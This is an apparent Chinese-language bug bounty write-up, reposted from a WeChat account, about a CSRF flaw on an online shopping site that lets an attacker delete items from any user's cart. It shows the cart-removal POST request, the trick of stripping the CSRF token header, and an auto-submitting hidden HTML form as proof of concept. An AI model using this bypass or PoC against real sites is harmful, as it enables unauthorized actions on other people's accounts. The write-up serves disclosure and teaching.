各位猎人们,大家好!我很高兴能和大家分享我在测试一个在线购物网站上的私人漏洞赏金计划时发现的一些有趣的东西。
我发现了一个CSRF 漏洞,该漏洞允许我在未经用户许可的情况下从任何用户的购物车中删除商品。
让我们仔细看看它是如何工作的以及它为什么重要。
让我们开始吧!
该应用程序允许用户创建自定义项目(例如,相册、印刷品)并将其添加到购物车中。
现在我开始测试并查看从购物车中删除产品时会发生什么
当用户从购物车中移除产品时,POST请求将发送到以下端点:
Host:[redacted]
请求主体包含几个指定要删除的产品的参数:
arrayOfProjectIdsToRemove= [ ID ] &sourceProjectId= &promotionName= &isCouponRemoved= false &order_id=ID &service=cart
这里还有一个问题,即请求包含 CSRF TOKEN 的标头,就像这样
现在完整的请求是这样的:
Host: Target.com
Cookie:[your session cookie]
X-Csrf-Token:[token]
Content-Type: application/x-www-form-urlencoded
arrayOfProjectIdsToRemove=ID&sourceProjectId=&promotionName=&isCouponRemoved=false&order_id=ID&service=cart
现在我们有两个问题
- 应用程序请求具有CSRF 令牌:
X-CSRF-Token - 请求包含2个ID:
- 参数
arrayOfProjectIdaToRemove
- 参数
order_id
那么让我们从CSRF 令牌开始吧……
我做什么 ?
看到任何 CSRF 令牌时,我做的第一件事就是尝试删除它,然后发送不带此令牌的请求,并检查服务器是否接受它,如果没有任何错误,那么我就可以轻松地绕过 CSRF 保护。
现在我所做的就是删除该令牌并且服务器返回200 Ok,没有任何错误!!!
现在另一个问题:请求 ID……
就像我说的,请求有两个参数,一个有 ID,一个有值
第一的
arrayOfProjectIdaToRemove
这个 ID 是我需要从购物车中移除的产品的 ID(应用程序为每个产品提供 ID 作为其标识符),所以这里我只需要知道这是受害者的产品,然后我就可以正常从任何处理该产品的请求中获取他的 ID
第二个参数
order_id
我花了一些时间检查这个ID是什么,以及应用程序是如何将它提供给请求的。一段时间后,我发现图表上每个产品都有这个ID,但攻击者又是如何猜出这个ID的呢?一段时间后,我仍未得到答案,所以我决定报告这个问题。但在计算CVSS时,我会把攻击复杂度设置得很高,因为攻击者可能需要其他攻击才能获取order_id值。
完整的 CSRF PoC……
由于请求使用的是普通的表单数据,我知道可以构建一个简单的 HTML 表单来实现同样的功能。我创建了一个带有隐藏表单的页面,并编写了一些 JavaScript 代码来实现自动提交。
代码如下:
< html > < body > < form action = "https://[target]/cart/updatecart" method = "POST" > < input type = "hidden" name = "arrayOfProjectIdsToRemove" value = "> < input type = "hidden" name = "sourceProjectId" value = "" /> < input type = " hidden " name = " promotionName " value = " " / > < input type = " hidden " name = " isCouponRemoved " value = " false " / > < input type = " hidden " name = " order_id " value = " ID " / > < input type = " hidden" name = "service" value = "cart" /> </ form > < script > history.pushState('', '', '/'); document.forms[0].submit(); </ script > </ body > </ html >
该计划的回应……
我报告了这个问题,花了一些时间,但直到现在我才相信,H1 分类关闭了报告,因为重复,这对我来说太糟糕了
但在这里我发现了一些奇怪的事情……
分类小组没有提及有关原始报告的任何信息
没有标题,没有状态,没有日期!!!,很奇怪吧?
所以我在这里发送一条评论说我需要知道原始报告的信息!!
几天后,我收到通知说报告已重新打开!!!,分类团队也再次验证了该错误并将其发送给内部团队
两天后,内部团队对报告进行了分类!
又过了一天,他们付了$$$ 钱!!!
但这里的严重性是什么?
您可以看到上面的 CVSS
我希望任何读到这篇文章的人都能学到新东西,或者重温一下记忆。记住,要把上帝放在第一位,凡事都要测试。在黑客领域,任何想法,除非它明显失败,否则都是愚蠢的。祝你好运,如果你发现了这项技术的漏洞,我很乐意听听。
原文始发于微信公众号(安全狗的自我修养):CSRF 删除任意用户购物车中的商品导致 $$$
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论